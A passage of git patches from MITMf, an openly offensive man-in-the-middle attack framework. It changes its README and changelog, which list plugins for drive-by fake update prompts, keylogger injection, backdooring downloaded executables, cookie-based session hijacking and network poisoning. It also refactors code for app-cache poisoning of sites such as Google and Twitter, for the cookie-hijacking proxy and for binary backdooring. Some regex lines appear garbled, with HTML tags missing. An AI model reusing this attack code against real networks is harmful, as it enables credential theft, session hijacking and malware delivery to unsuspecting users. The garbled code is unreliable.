http://blog.kotowicz.net/2010/12/squid-imposter-phishing-websites.html) - How to install on Kali ====================== @@ -83,6 +45,7 @@ Installation If you're rocking Kali and want the latest version: - Clone this repository - Run the ```kali_setup.sh``` script + **Note: you can ignore any errors when ```pip``` tries to install dependencies, MITMf should be able to run anyway** If you're rocking any other Linux distro: @@ -93,7 +56,7 @@ If you're rocking any other Linux distro: FAQ === - **Is Windows supported?** -- No, it will never be supported +- No, it will never be supported (so don't ask). - **Is OSX supported?** - Yes! Initial compatibility has been introduced in 0.9.8! Find anything broken submit a PR or open an issue ticket! diff --git a/plugins/replace.py b/plugins/replace.py index 5133d93..47e5f9f 100644 --- a/plugins/replace.py +++ b/plugins/replace.py @@ -18,7 +18,7 @@ """ -Original plugin by @rubenthijssen +Original plugin by @rthijssen """ From f4df9971f99341b13ecb21feda518bec94e877ec Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Sat, 25 Jul 2015 03:29:33 +0200 Subject: [PATCH 072/181] added CHANGELOG.md, CONTRIBUTORS.md and modded README.md --- CHANGELOG.md | 35 +++++++++++++++++++ CONTRIBUTORS.md | 19 +++++++++++ README.md | 83 +++++++++++++--------------------------------- plugins/replace.py | 2 +- 4 files changed, 78 insertions(+), 61 deletions(-) create mode 100644 CHANGELOG.md create mode 100644 CONTRIBUTORS.md diff --git a/CHANGELOG.md b/CHANGELOG.md new file mode 100644 index 0000000..23a4e91 --- /dev/null +++ b/CHANGELOG.md @@ -0,0 +1,35 @@ +#Changes before v0.9.8 + +- Added the SMBTrap plugin + +- Config file now updates on the fly! + +- SessionHijacker is replaced with Ferret-NG captures cookies and starts a proxy that will feed them to connected clients + +- JavaPwn plugin replaced with BrowserSniper now supports Java, Flash and browser exploits + +- Addition of the Screenshotter plugin, able to render screenshots of a client's browser at regular intervals + +- Addition of a fully functional SMB server using the [Impacket](https://github.com/CoreSecurity/impacket) library + +- Addition of [DNSChef](https://github.com/iphelix/dnschef), the framework is now a IPv4/IPv6 (TCP & UDP) DNS server! Supported queries are: 'A', 'AAAA', 'MX', 'PTR', 'NS', 'CNAME', 'TXT', 'SOA', 'NAPTR', 'SRV', 'DNSKEY' and 'RRSIG' + +- Integrated [Net-Creds](https://github.com/DanMcInerney/net-creds) currently supported protocols are: FTP, IRC, POP, IMAP, Telnet, SMTP, SNMP (community strings), NTLMv1/v2 (all supported protocols like HTTP, SMB, LDAP etc.) and Kerberos + +- Integrated [Responder](https://github.com/SpiderLabs/Responder) to poison LLMNR, NBT-NS and MDNS and act as a rogue WPAD server + +- Integrated [SSLstrip+](https://github.com/LeonardoNve/sslstrip2) by Leonardo Nve to partially bypass HSTS as demonstrated at BlackHat Asia 2014 + +- Spoof plugin can now exploit the 'ShellShock' bug when DHCP spoofing + +- Spoof plugin now supports ICMP, ARP and DHCP spoofing + +- Usage of third party tools has been completely removed (e.g. Ettercap) + +- FilePwn plugin re-written to backdoor executables zip and tar files on the fly by using [the-backdoor-factory](https://github.com/secretsquirrel/the-backdoor-factory) and code from [BDFProxy](https://github.com/secretsquirrel/BDFProxy) + +- Added [msfrpc.py](https://github.com/byt3bl33d3r/msfrpc/blob/master/python-msfrpc/msfrpc.py) for interfacing with Metasploit's RPC server + +- Added [beefapi.py](https://github.com/byt3bl33d3r/beefapi) for interfacing with BeEF's RESTfulAPI + +- Addition of the app-cache poisoning attack by [Krzysztof Kotowicz](https://github.com/koto/sslstrip) (blogpost explaining the attack here: http://blog.kotowicz.net/2010/12/squid-imposter-phishing-websites.html) \ No newline at end of file diff --git a/CONTRIBUTORS.md b/CONTRIBUTORS.md new file mode 100644 index 0000000..13ff3ab --- /dev/null +++ b/CONTRIBUTORS.md @@ -0,0 +1,19 @@ +#Intentional contributors (in no particular order) + +- @rthijssen +- @ivangr0zni (Twitter) +- @xtr4nge +- @DrDinosaur +- @secretsquirrel +- @binkybear +- @0x27 +- @golind +- @mmetince +- @niallmerrigan + +#Unintentional contributors and/or projects that I stole code from + +- Metasploit Framework's os.js and Javascript Keylogger module +- The Backdoor Factory and BDFProxy +- ARPWatch module from the Subterfuge Framework +- Impacket's KarmaSMB script \ No newline at end of file diff --git a/README.md b/README.md index ea81b85..6cbf676 100644 --- a/README.md +++ b/README.md @@ -6,71 +6,33 @@ Quick tutorials, examples and developer updates at: https://byt3bl33d3r.github.i This tool is based on [sergio-proxy](https://github.com/supernothing/sergio-proxy) and is an attempt to revive and update the project. -Twitter: @byt3bl33d3r -IRC on Freenode: #MITMf -Email: byt3bl33d3r@gmail.com +Contact me at: +- Twitter: @byt3bl33d3r +- IRC on Freenode: #MITMf +- Email: byt3bl33d3r@gmail.com -**Before submitting issues, please read the [FAQ](#faq) and [CONTRIBIUTING.md](#submitting-issues).** +**Before submitting issues, please read the [FAQ](#faq) and [CONTRIBUTING.md](CONTRIBUTING.md).** Available plugins ================= -- ```HTA Drive-By``` - Injects a fake update notification and prompts clients to download an HTA application -- ```SMBtrap``` - Exploits the 'SMB Trap' vulnerability on connected clients -- ```Screenshotter``` - Uses HTML5 Canvas to render an accurate screenshot of a clients browser -- ```Responder``` - LLMNR, NBT-NS, WPAD and MDNS poisoner -- ```SSLstrip+``` - Partially bypass HSTS -- ```Spoof``` - Redirect traffic using ARP spoofing, ICMP redirects or DHCP spoofing -- ```BeEFAutorun``` - Autoruns BeEF modules based on a client's OS or browser type -- ```AppCachePoison``` - Perform app cache poisoning attacks -- ```Ferret-NG``` - Transperently hijacks sessions -- ```BrowserProfiler``` - Attempts to enumerate all browser plugins of connected clients -- ```CacheKill``` - Kills page caching by modifying headers -- ```FilePwn``` - Backdoor executables sent over HTTP using the Backdoor Factory and BDFProxy -- ```Inject``` - Inject arbitrary content into HTML content -- ```BrowserSniper``` - Performs drive-by attacks on clients with out-of-date browser plugins -- ```jskeylogger``` - Injects a Javascript keylogger into a client's webpages -- ```Replace``` - Replace arbitary content in HTML content -- ```SMBAuth``` - Evoke SMB challenge-response authentication attempts +- ```HTA Drive-By``` - Injects a fake update notification and prompts clients to download an HTA application +- ```SMBtrap``` - Exploits the 'SMB Trap' vulnerability on connected clients +- ```Screenshotter``` - Uses HTML5 Canvas to render an accurate screenshot of a clients browser +- ```Responder``` - LLMNR, NBT-NS, WPAD and MDNS poisoner +- ```SSLstrip+``` - Partially bypass HSTS +- ```Spoof``` - Redirect traffic using ARP spoofing, ICMP redirects or DHCP spoofing +- ```BeEFAutorun``` - Autoruns BeEF modules based on a client's OS or browser type +- ```AppCachePoison``` - Perform app cache poisoning attacks +- ```Ferret-NG``` - Transperently hijacks sessions +- ```BrowserProfiler``` - Attempts to enumerate all browser plugins of connected clients +- ```FilePwn``` - Backdoor executables sent over HTTP using the Backdoor Factory and BDFProxy +- ```Inject``` - Inject arbitrary content into HTML content +- ```BrowserSniper``` - Performs drive-by attacks on clients with out-of-date browser plugins +- ```jskeylogger``` - Injects a Javascript keylogger into a client's webpages +- ```Replace``` - Replace arbitary content in HTML content +- ```SMBAuth``` - Evoke SMB challenge-response authentication attempts - ```Upsidedownternet``` - Flips images 180 degrees -Changelog -========= - -- Added the ```SMBTrap``` plugin - -- Config file now updates on the fly! - -- ```SessionHijacker``` is replaced with ```Ferret-NG```, captures cookies and starts a proxy that will feed them to connected clients - -- ```JavaPwn``` plugin replced with ```BrowserSniper```, now supports Java, Flash and browser exploits - -- Addition of the ```Screenshotter``` plugin, able to render screenshots of a client's browser at regular intervals - -- Addition of a fully functional SMB server using the [Impacket](https://github.com/CoreSecurity/impacket) library - -- Addition of [DNSChef](https://github.com/iphelix/dnschef), the framework is now a IPv4/IPv6 (TCP & UDP) DNS server! Supported queries are: 'A', 'AAAA', 'MX', 'PTR', 'NS', 'CNAME', 'TXT', 'SOA', 'NAPTR', 'SRV', 'DNSKEY' and 'RRSIG' - -- Integrated [Net-Creds](https://github.com/DanMcInerney/net-creds) currently supported protocols are: - FTP, IRC, POP, IMAP, Telnet, SMTP, SNMP (community strings), NTLMv1/v2 (all supported protocols like HTTP, SMB, LDAP etc.) and Kerberos - -- Integrated [Responder](https://github.com/SpiderLabs/Responder) to poison LLMNR, NBT-NS and MDNS and act as a rogue WPAD server - -- Integrated [SSLstrip+](https://github.com/LeonardoNve/sslstrip2) by Leonardo Nve to partially bypass HSTS as demonstrated at BlackHat Asia 2014 - -- ```Spoof``` plugin can now exploit the 'ShellShock' bug when DHCP spoofing - -- ```Spoof``` plugin now supports ICMP, ARP and DHCP spoofing - -- Usage of third party tools has been completely removed (e.g. Ettercap) - -- ```FilePwn```plugin re-written to backdoor executables zip and tar files on the fly by using [the-backdoor-factory](https://github.com/secretsquirrel/the-backdoor-factory) and code from [BDFProxy](https://github.com/secretsquirrel/BDFProxy) - -- Added [msfrpc.py](https://github.com/byt3bl33d3r/msfrpc/blob/master/python-msfrpc/msfrpc.py) for interfacing with Metasploit's RPC server - -- Added [beefapi.py](https://github.com/byt3bl33d3r/beefapi) for interfacing with BeEF's RESTfulAPI - -- Addition of the app-cache poisoning attack by [Krzysztof Kotowicz](https://github.com/koto/sslstrip) (blogpost explaining the attack here: http://blog.kotowicz.net/2010/12/squid-imposter-phishing-websites.html) - How to install on Kali ====================== @@ -83,6 +45,7 @@ Installation If you're rocking Kali and want the latest version: - Clone this repository - Run the ```kali_setup.sh``` script + **Note: you can ignore any errors when ```pip``` tries to install dependencies, MITMf should be able to run anyway** If you're rocking any other Linux distro: @@ -93,7 +56,7 @@ If you're rocking any other Linux distro: FAQ === - **Is Windows supported?** -- No, it will never be supported +- No, it will never be supported (so don't ask). - **Is OSX supported?** - Yes! Initial compatibility has been introduced in 0.9.8! Find anything broken submit a PR or open an issue ticket! diff --git a/plugins/replace.py b/plugins/replace.py index 5133d93..47e5f9f 100644 --- a/plugins/replace.py +++ b/plugins/replace.py @@ -18,7 +18,7 @@ """ -Original plugin by @rubenthijssen +Original plugin by @rthijssen """ From f0fce41c88f756d41b4990f6150ced8d95e8927b Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Sun, 26 Jul 2015 14:03:56 +0200 Subject: [PATCH 073/181] App-Cache poison and BrowserSniper plugins have been refactored, added supported python version tags in README --- CONTRIBUTORS.md | 1 + README.md | 36 ++--- .../app_cache_poison_templates/default.append | 2 +- .../app_cache_poison_templates/script.append | 2 +- .../{Flash.hta => flash_setup.hta} | 0 config/mitmf.conf | 17 +-- core/ferretng/ClientRequest.py | 4 +- core/ferretng/CookieCleaner.py | 2 - core/ferretng/SSLServerConnection.py | 3 +- core/ferretng/ServerConnection.py | 3 +- core/ferretng/ServerConnectionFactory.py | 2 +- mitmf.py | 1 + plugins/appcachepoison.py | 127 ++++++++---------- plugins/ferretng.py | 6 +- plugins/filepwn.py | 9 +- plugins/htadriveby.py | 2 +- 16 files changed, 96 insertions(+), 121 deletions(-) rename config/hta_driveby/{Flash.hta => flash_setup.hta} (100%) diff --git a/CONTRIBUTORS.md b/CONTRIBUTORS.md index 890f729..7c9e529 100644 --- a/CONTRIBUTORS.md +++ b/CONTRIBUTORS.md @@ -10,6 +10,7 @@ - @golind - @mmetince - @niallmerrigan +- @auraltension #Unintentional contributors and/or projects that I stole code from diff --git a/README.md b/README.md index 6cbf676..615489a 100644 --- a/README.md +++ b/README.md @@ -1,3 +1,5 @@ +[![Supported Python versions](https://img.shields.io/badge/python-2.7-blue.svg)] + #MITMf V0.9.8 - 'The Dark Side' Framework for Man-In-The-Middle attacks @@ -15,23 +17,23 @@ Contact me at: Available plugins ================= -- ```HTA Drive-By``` - Injects a fake update notification and prompts clients to download an HTA application -- ```SMBtrap``` - Exploits the 'SMB Trap' vulnerability on connected clients -- ```Screenshotter``` - Uses HTML5 Canvas to render an accurate screenshot of a clients browser -- ```Responder``` - LLMNR, NBT-NS, WPAD and MDNS poisoner -- ```SSLstrip+``` - Partially bypass HSTS -- ```Spoof``` - Redirect traffic using ARP spoofing, ICMP redirects or DHCP spoofing -- ```BeEFAutorun``` - Autoruns BeEF modules based on a client's OS or browser type -- ```AppCachePoison``` - Perform app cache poisoning attacks -- ```Ferret-NG``` - Transperently hijacks sessions -- ```BrowserProfiler``` - Attempts to enumerate all browser plugins of connected clients -- ```FilePwn``` - Backdoor executables sent over HTTP using the Backdoor Factory and BDFProxy -- ```Inject``` - Inject arbitrary content into HTML content -- ```BrowserSniper``` - Performs drive-by attacks on clients with out-of-date browser plugins -- ```jskeylogger``` - Injects a Javascript keylogger into a client's webpages -- ```Replace``` - Replace arbitary content in HTML content -- ```SMBAuth``` - Evoke SMB challenge-response authentication attempts -- ```Upsidedownternet``` - Flips images 180 degrees +- ```HTA Drive-By``` : Injects a fake update notification and prompts clients to download an HTA application +- ```SMBtrap``` : Exploits the 'SMB Trap' vulnerability on connected clients +- ```Screenshotter``` : Uses HTML5 Canvas to render an accurate screenshot of a clients browser +- ```Responder``` : LLMNR, NBT-NS, WPAD and MDNS poisoner +- ```SSLstrip+``` : Partially bypass HSTS +- ```Spoof``` : Redirect traffic using ARP spoofing, ICMP redirects or DHCP spoofing +- ```BeEFAutorun``` : Autoruns BeEF modules based on a client's OS or browser type +- ```AppCachePoison``` : Perform app cache poisoning attacks +- ```Ferret-NG``` : Transperently hijacks sessions +- ```BrowserProfiler``` : Attempts to enumerate all browser plugins of connected clients +- ```FilePwn``` : Backdoor executables sent over HTTP using the Backdoor Factory and BDFProxy +- ```Inject``` : Inject arbitrary content into HTML content +- ```BrowserSniper``` : Performs drive-by attacks on clients with out-of-date browser plugins +- ```jskeylogger``` : Injects a Javascript keylogger into a client's webpages +- ```Replace``` : Replace arbitary content in HTML content +- ```SMBAuth``` : Evoke SMB challenge-response authentication attempts +- ```Upsidedownternet``` : Flips images 180 degrees How to install on Kali ====================== diff --git a/config/app_cache_poison_templates/default.append b/config/app_cache_poison_templates/default.append index 169e917..9c40f8d 100644 --- a/config/app_cache_poison_templates/default.append +++ b/config/app_cache_poison_templates/default.append @@ -34,5 +34,5 @@

AppCache Poison works!

-

%%tamper_url%% page is spoofed with AppCache Poison by Krzysztof Kotowicz, but this is just a default content. To replace it, create appropriate files in your templates directory and add your content there.

+

This page is spoofed with AppCache Poison by Krzysztof Kotowicz, but this is just a default content. To replace it, create appropriate files in your templates directory and add your content there.

\ No newline at end of file diff --git a/config/app_cache_poison_templates/script.append b/config/app_cache_poison_templates/script.append index 4289f38..2ff38fb 100644 --- a/config/app_cache_poison_templates/script.append +++ b/config/app_cache_poison_templates/script.append @@ -1,2 +1,2 @@ -;console.log('AppCache Poison was here. Google Analytics FTW'); \ No newline at end of file +;alert('AppCache Poison was here. Google Analytics FTW'); \ No newline at end of file diff --git a/config/hta_driveby/Flash.hta b/config/hta_driveby/flash_setup.hta similarity index 100% rename from config/hta_driveby/Flash.hta rename to config/hta_driveby/flash_setup.hta diff --git a/config/mitmf.conf b/config/mitmf.conf index 767fd9b..9e75143 100644 --- a/config/mitmf.conf +++ b/config/mitmf.conf @@ -142,7 +142,7 @@ # Here you can specify the client to hijack sessions from # - Client = '192.168.20.126' + Client = '192.168.1.26' [SSLstrip+] @@ -248,18 +248,9 @@ templates=test # which templates to use for spoofing content? skip_in_mass_poison=1 - [[gmail]] - #use absolute URLs - system tracks 30x redirects, so you can put any URL that belongs to the redirection loop here - - tamper_url=http://mail.google.com/mail/ - - # manifest has to be of last domain in redirect loop - - manifest_url=http://mail.google.com/robots.txt - templates=default # could be omitted - [[google]] - tamper_url = http://www.google.com/ + tamper_url_match = http://www.google.com\.*. + tamper_url = http://www.google.com manifest_url = http://www.google.com/robots.txt [[facebook]] @@ -269,7 +260,7 @@ [[twitter]] tamper_url=http://twitter.com/ - #tamper_url_match=^http://(www\.)?twitter\.com/$ + tamper_url_match=^http://(www\.)?twitter\.com/$ manifest_url=http://twitter.com/robots.txt [[html5rocks]] diff --git a/core/ferretng/ClientRequest.py b/core/ferretng/ClientRequest.py index eb4abf1..226f6a2 100644 --- a/core/ferretng/ClientRequest.py +++ b/core/ferretng/ClientRequest.py @@ -32,6 +32,7 @@ from twisted.internet import defer from twisted.internet import reactor from twisted.internet.protocol import ClientFactory +from core.logger import logger from ServerConnectionFactory import ServerConnectionFactory from ServerConnection import ServerConnection from SSLServerConnection import SSLServerConnection @@ -39,7 +40,7 @@ from URLMonitor import URLMonitor from CookieCleaner import CookieCleaner from DnsCache import DnsCache -formatter = logging.Formatter("%(asctime)s [Ferrent-NG] %(message)s", datefmt="%Y-%m-%d %H:%M:%S") +formatter = logging.Formatter("%(asctime)s [Ferret-NG] %(message)s", datefmt="%Y-%m-%d %H:%M:%S") log = logger().setup_logger("Ferret_ClientRequest", formatter) class ClientRequest(Request): @@ -79,7 +80,6 @@ class ClientRequest(Request): headers['cookie'] = entry['cookie'] except KeyError: log.error("No captured sessions (yet) from {}".format(self.urlMonitor.hijack_client)) - pass return headers diff --git a/core/ferretng/CookieCleaner.py b/core/ferretng/CookieCleaner.py index 5ba393c..892fce0 100644 --- a/core/ferretng/CookieCleaner.py +++ b/core/ferretng/CookieCleaner.py @@ -15,8 +15,6 @@ # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 # USA # - -import logging import string class CookieCleaner: diff --git a/core/ferretng/SSLServerConnection.py b/core/ferretng/SSLServerConnection.py index d783c10..778c73d 100644 --- a/core/ferretng/SSLServerConnection.py +++ b/core/ferretng/SSLServerConnection.py @@ -18,10 +18,11 @@ import logging, re, string +from core.logger import logger from ServerConnection import ServerConnection from URLMonitor import URLMonitor -formatter = logging.Formatter("%(asctime)s [Ferrent-NG] %(message)s", datefmt="%Y-%m-%d %H:%M:%S") +formatter = logging.Formatter("%(asctime)s [Ferret-NG] %(message)s", datefmt="%Y-%m-%d %H:%M:%S") log = logger().setup_logger("Ferret_SSLServerConnection", formatter) class SSLServerConnection(ServerConnection): diff --git a/core/ferretng/ServerConnection.py b/core/ferretng/ServerConnection.py index b08e943..5cd085d 100644 --- a/core/ferretng/ServerConnection.py +++ b/core/ferretng/ServerConnection.py @@ -25,10 +25,11 @@ import gzip import StringIO import sys +from core.logger import logger from twisted.web.http import HTTPClient from URLMonitor import URLMonitor -formatter = logging.Formatter("%(asctime)s [Ferrent-NG] %(message)s", datefmt="%Y-%m-%d %H:%M:%S") +formatter = logging.Formatter("%(asctime)s [Ferret-NG] %(message)s", datefmt="%Y-%m-%d %H:%M:%S") log = logger().setup_logger("Ferret_ServerConnection", formatter) class ServerConnection(HTTPClient): diff --git a/core/ferretng/ServerConnectionFactory.py b/core/ferretng/ServerConnectionFactory.py index bd9c83b..0c725ae 100644 --- a/core/ferretng/ServerConnectionFactory.py +++ b/core/ferretng/ServerConnectionFactory.py @@ -20,7 +20,7 @@ import logging from core.logger import logger from twisted.internet.protocol import ClientFactory -formatter = logging.Formatter("%(asctime)s [Ferrent-NG] %(message)s", datefmt="%Y-%m-%d %H:%M:%S") +formatter = logging.Formatter("%(asctime)s [Ferret-NG] %(message)s", datefmt="%Y-%m-%d %H:%M:%S") log = logger().setup_logger("Ferret_ServerConnectionFactory", formatter) class ServerConnectionFactory(ClientFactory): diff --git a/mitmf.py b/mitmf.py index 66a5c68..d7fe9a6 100755 --- a/mitmf.py +++ b/mitmf.py @@ -83,6 +83,7 @@ from core.sslstrip.StrippingProxy import StrippingProxy from core.sslstrip.URLMonitor import URLMonitor URLMonitor.getInstance().setFaviconSpoofing(options.favicon) +URLMonitor.getInstance().setCaching(options.preserve_cache) CookieCleaner.getInstance().setEnabled(options.killsessions) strippingFactory = http.HTTPFactory(timeout=10) diff --git a/plugins/appcachepoison.py b/plugins/appcachepoison.py index 3430d94..f40b456 100644 --- a/plugins/appcachepoison.py +++ b/plugins/appcachepoison.py @@ -34,22 +34,19 @@ class AppCachePlugin(Plugin): def initialize(self, options): self.options = options self.mass_poisoned_browsers = [] + from core.sslstrip.URLMonitor import URLMonitor self.urlMonitor = URLMonitor.getInstance() self.urlMonitor.setAppCachePoisoning() def response(self, response, request, data): - #This code was literally copied + pasted from Koto's sslstrip fork, def need to clean this up in the near future - - self.app_config = self.config['AppCachePoison'] # so we reload the config on each request + self.app_config = self.config['AppCachePoison'] url = request.client.uri req_headers = request.client.getAllHeaders() headers = request.client.responseHeaders ip = request.client.getClientIP() - ######################################################################### - if "enable_only_in_useragents" in self.app_config: regexp = self.app_config["enable_only_in_useragents"] if regexp and not re.search(regexp,req_headers["user-agent"]): @@ -58,53 +55,56 @@ class AppCachePlugin(Plugin): urls = self.urlMonitor.getRedirectionSet(url) self.clientlog.debug("Got redirection set: {}".format(urls), extra=request.clientInfo) - (name,s,element,url) = self.getSectionForUrls(urls) - if s is False: - data = self.tryMassPoison(url, data, headers, req_headers, ip) - return {'response': response, 'request': request, 'data': data} + section = False + for url in urls: + for name in self.app_config: + if isinstance(self.app_config[name], dict): #'tis a section + section = self.app_config[name] - self.clientlog.info("Found URL {} in section {}".format(url, name), extra=request.clientInfo) - p = self.getTemplatePrefix(s) + if section.get('manifest_url', False) == url: + self.clientlog.info("Found URL in section '{}'!".format(name), extra=request.clientInfo) + self.clientlog.info("Poisoning manifest URL", extra=request.clientInfo) + data = self.getSpoofedManifest(url, section) + headers.setRawHeaders("Content-Type", ["text/cache-manifest"]) - if element == 'tamper': - self.clientlog.info("Poisoning tamper URL with template {}".format(p), extra=request.clientInfo) - if os.path.exists(p + '.replace'): # replace whole content - f = open(p + '.replace','r') - data = self.decorate(f.read(), s) - f.close() + elif section.get('raw_url',False) == url: # raw resource to modify, it does not have to be html + self.clientlog.info("Found URL in section '{}'!".format(name), extra=request.clientInfo) + p = self.getTemplatePrefix(section) + self.clientlog.info("Poisoning raw URL", extra=request.clientInfo) + if os.path.exists(p + '.replace'): # replace whole content + f = open(p + '.replace', 'r') + data = f.read() + f.close() - elif os.path.exists(p + '.append'): # append file to body - f = open(p + '.append','r') - appendix = self.decorate(f.read(), s) - f.close() - # append to body - data = re.sub(re.compile("",re.IGNORECASE),appendix + "", data) + elif os.path.exists(p + '.append'): # append file to body + f = open(p + '.append', 'r') + data += f.read() + f.close() - # add manifest reference - data = re.sub(re.compile("",re.IGNORECASE), appendix + "", data) #append to body + f.close() + + # add manifest reference + data = re.sub(re.compile("" return html + "" - + def cacheForFuture(self, headers): ten_years = 315569260 - headers.setRawHeaders("Cache-Control",["max-age="+str(ten_years)]) + headers.setRawHeaders("Cache-Control",["max-age={}".format(ten_years)]) headers.setRawHeaders("Last-Modified",["Mon, 29 Jun 1998 02:28:12 GMT"]) # it was modifed long ago, so is most likely fresh in_ten_years = date.fromtimestamp(time.time() + ten_years) headers.setRawHeaders("Expires",[in_ten_years.strftime("%a, %d %b %Y %H:%M:%S GMT")]) - def removeDangerousHeaders(self, headers): - headers.removeHeader("X-Frame-Options") - def getSpoofedManifest(self, url, section): p = self.getTemplatePrefix(section) if not os.path.exists(p+'.manifest'): @@ -159,8 +161,8 @@ class AppCachePlugin(Plugin): return self.decorate(manifest, section) def decorate(self, content, section): - for i in section: - content = content.replace("%%"+i+"%%", section[i]) + for entry in section: + content = content.replace("%%{}%%".format(entry), section[entry]) return content def getTemplatePrefix(self, section): @@ -173,25 +175,4 @@ class AppCachePlugin(Plugin): return self.app_config['templates_path'] + '/default' def getManifestUrl(self, section): - return section.get("manifest_url",'/robots.txt') - - def getSectionForUrls(self, urls): - for url in urls: - for i in self.app_config: - if isinstance(self.app_config[i], dict): #section - section = self.app_config[i] - name = i - - if section.get('tamper_url',False) == url: - return (name, section, 'tamper',url) - - if section.has_key('tamper_url_match') and re.search(section['tamper_url_match'], url): - return (name, section, 'tamper',url) - - if section.get('manifest_url',False) == url: - return (name, section, 'manifest',url) - - if section.get('raw_url',False) == url: - return (name, section, 'raw',url) - - return (None, False,'',urls.copy().pop()) + return section.get("manifest_url",'/robots.txt') diff --git a/plugins/ferretng.py b/plugins/ferretng.py index 75df7be..e79f499 100644 --- a/plugins/ferretng.py +++ b/plugins/ferretng.py @@ -23,7 +23,7 @@ from datetime import datetime from plugins.plugin import Plugin from twisted.internet import reactor from twisted.web import http -from twisted.internet import reactor +from core.ferretng.URLMonitor import URLMonitor class FerretNG(Plugin): name = "Ferret-NG" @@ -37,9 +37,6 @@ class FerretNG(Plugin): self.ferret_port = options.ferret_port self.cookie_file = None - from core.ferretng.FerretProxy import FerretProxy - from core.ferretng.URLMonitor import URLMonitor - URLMonitor.getInstance().hijack_client = self.config['Ferret-NG']['Client'] from core.utils import shutdown @@ -79,6 +76,7 @@ class FerretNG(Plugin): URLMonitor.getInstance().cookies[client].append({'host': host, 'cookie': cookie}) def reactor(self, StrippingProxy): + from core.ferretng.FerretProxy import FerretProxy FerretFactory = http.HTTPFactory(timeout=10) FerretFactory.protocol = FerretProxy reactor.listenTCP(self.ferret_port, FerretFactory) diff --git a/plugins/filepwn.py b/plugins/filepwn.py index 52f46b2..83bd6b9 100644 --- a/plugins/filepwn.py +++ b/plugins/filepwn.py @@ -388,7 +388,7 @@ class FilePwn(Plugin): continue # Check against keywords - keywordCheck = False + keywordCheck = True if type(self.tarblacklist) is str: if self.tarblacklist.lower() in info.name.lower(): @@ -502,7 +502,7 @@ class FilePwn(Plugin): continue #Check against keywords - keywordCheck = False + keywordCheck = True if type(self.zipblacklist) is str: if self.zipblacklist.lower() in info.filename.lower(): @@ -591,7 +591,8 @@ class FilePwn(Plugin): def response(self, response, request, data): content_header = response.headers['Content-Type'] - client_ip = response.getClientIP() + content_length = int(response.headers['Content-Length']) + client_ip = request.client.getClientIP() for target in self.userConfig['targets'].keys(): if target == 'ALL': @@ -630,7 +631,7 @@ class FilePwn(Plugin): self.clientlog.info("Patching complete, forwarding to client!", extra=request.clientInfo) return {'response': response, 'request': request, 'data': bd_tar} - elif content_header in self.binaryMimeTypes: + elif (content_header in self.binaryMimeTypes) and (content_length <= self.FileSizeMax): for bintype in ['pe','elf','fatfile','machox64','machox86']: if self.bytes_have_format(data, bintype): self.clientlog.info("Detected supported binary type ({})!".format(bintype), extra=request.clientInfo) diff --git a/plugins/htadriveby.py b/plugins/htadriveby.py index 13385ca..3fef9f9 100644 --- a/plugins/htadriveby.py +++ b/plugins/htadriveby.py @@ -53,4 +53,4 @@ class HTADriveBy(Inject, Plugin): def options(self, options): options.add_argument('--text', type=str, default='The Adobe Flash Player plug-in was blocked because it is out of date.', help="Text to display on notification bar") - options.add_argument('--hta-app', type=str, default='./config/hta_driveby/Flash.hta', help='Path to HTA application [defaults to config/hta_driveby/Flash.hta]') + options.add_argument('--hta-app', type=str, default='./config/hta_driveby/flash_setup.hta', help='Path to HTA application [defaults to config/hta_driveby/flash_setup.hta]') From 719779542c51dfae74d5a8106172896cf20a7184 Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Sun, 26 Jul 2015 14:07:30 +0200 Subject: [PATCH 074/181] added latest version tag in README --- README.md | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/README.md b/README.md index 615489a..c79ca1f 100644 --- a/README.md +++ b/README.md @@ -1,4 +1,5 @@ -[![Supported Python versions](https://img.shields.io/badge/python-2.7-blue.svg)] +![Supported Python versions](https://img.shields.io/badge/python-2.7-blue.svg) +![Latest Version](https://img.shields.io/badge/mitmf-0.9.8-red.svg) #MITMf V0.9.8 - 'The Dark Side' From 85a9a95f2d6db58e0733b52cf5a7cb3f497b2bf8 Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Sun, 26 Jul 2015 14:17:21 +0200 Subject: [PATCH 075/181] Added Responder to CONTRIBUTORS --- CONTRIBUTORS.md | 1 + README.md | 4 ++-- 2 files changed, 3 insertions(+), 2 deletions(-) diff --git a/CONTRIBUTORS.md b/CONTRIBUTORS.md index 7c9e529..78b5003 100644 --- a/CONTRIBUTORS.md +++ b/CONTRIBUTORS.md @@ -15,6 +15,7 @@ #Unintentional contributors and/or projects that I stole code from - Metasploit Framework's os.js and Javascript Keylogger module +- Responder by Laurent Gaffie - The Backdoor Factory and BDFProxy - ARPWatch module from the Subterfuge Framework - Impacket's KarmaSMB script diff --git a/README.md b/README.md index c79ca1f..50cf1a1 100644 --- a/README.md +++ b/README.md @@ -1,7 +1,7 @@ ![Supported Python versions](https://img.shields.io/badge/python-2.7-blue.svg) -![Latest Version](https://img.shields.io/badge/mitmf-0.9.8-red.svg) +![Latest Version](https://img.shields.io/badge/mitmf-0.9.8%20--%20The%20Dark%20Side-red.svg) -#MITMf V0.9.8 - 'The Dark Side' +#MITMf Framework for Man-In-The-Middle attacks From 42499a9e32dea07383ea6d250a79d34406b36bb0 Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Sun, 26 Jul 2015 15:12:24 +0200 Subject: [PATCH 076/181] Added description to the README --- README.md | 10 ++++++++++ 1 file changed, 10 insertions(+) diff --git a/README.md b/README.md index 50cf1a1..8312ee2 100644 --- a/README.md +++ b/README.md @@ -16,6 +16,16 @@ Contact me at: **Before submitting issues, please read the [FAQ](#faq) and [CONTRIBUTING.md](CONTRIBUTING.md).** +Description +============ +MITMf aims to provide a one-stop-shop for Man-In-The-Middle and Network attacks while updating and improving +existing attacks and techniques. + +Originally built to address the significant shortcomings of other tools (e.g Ettercap, Mallory), it's been almost completely +re-written from scratch to provide a modular and easily extendible framework that anyone can use to implement their own MITM attack. + +Additionally, the framework contains a built-in SMB, HTTP and DNS server that can be controlled and used by the various plugins. + Available plugins ================= - ```HTA Drive-By``` : Injects a fake update notification and prompts clients to download an HTA application From 0add358a570bae43ee6597b496e5e3497fecf864 Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Sun, 26 Jul 2015 13:34:37 +0200 Subject: [PATCH 077/181] Update README.md --- README.md | 43 +++++++++++++++++++++---------------------- 1 file changed, 21 insertions(+), 22 deletions(-) diff --git a/README.md b/README.md index 8312ee2..a3c168f 100644 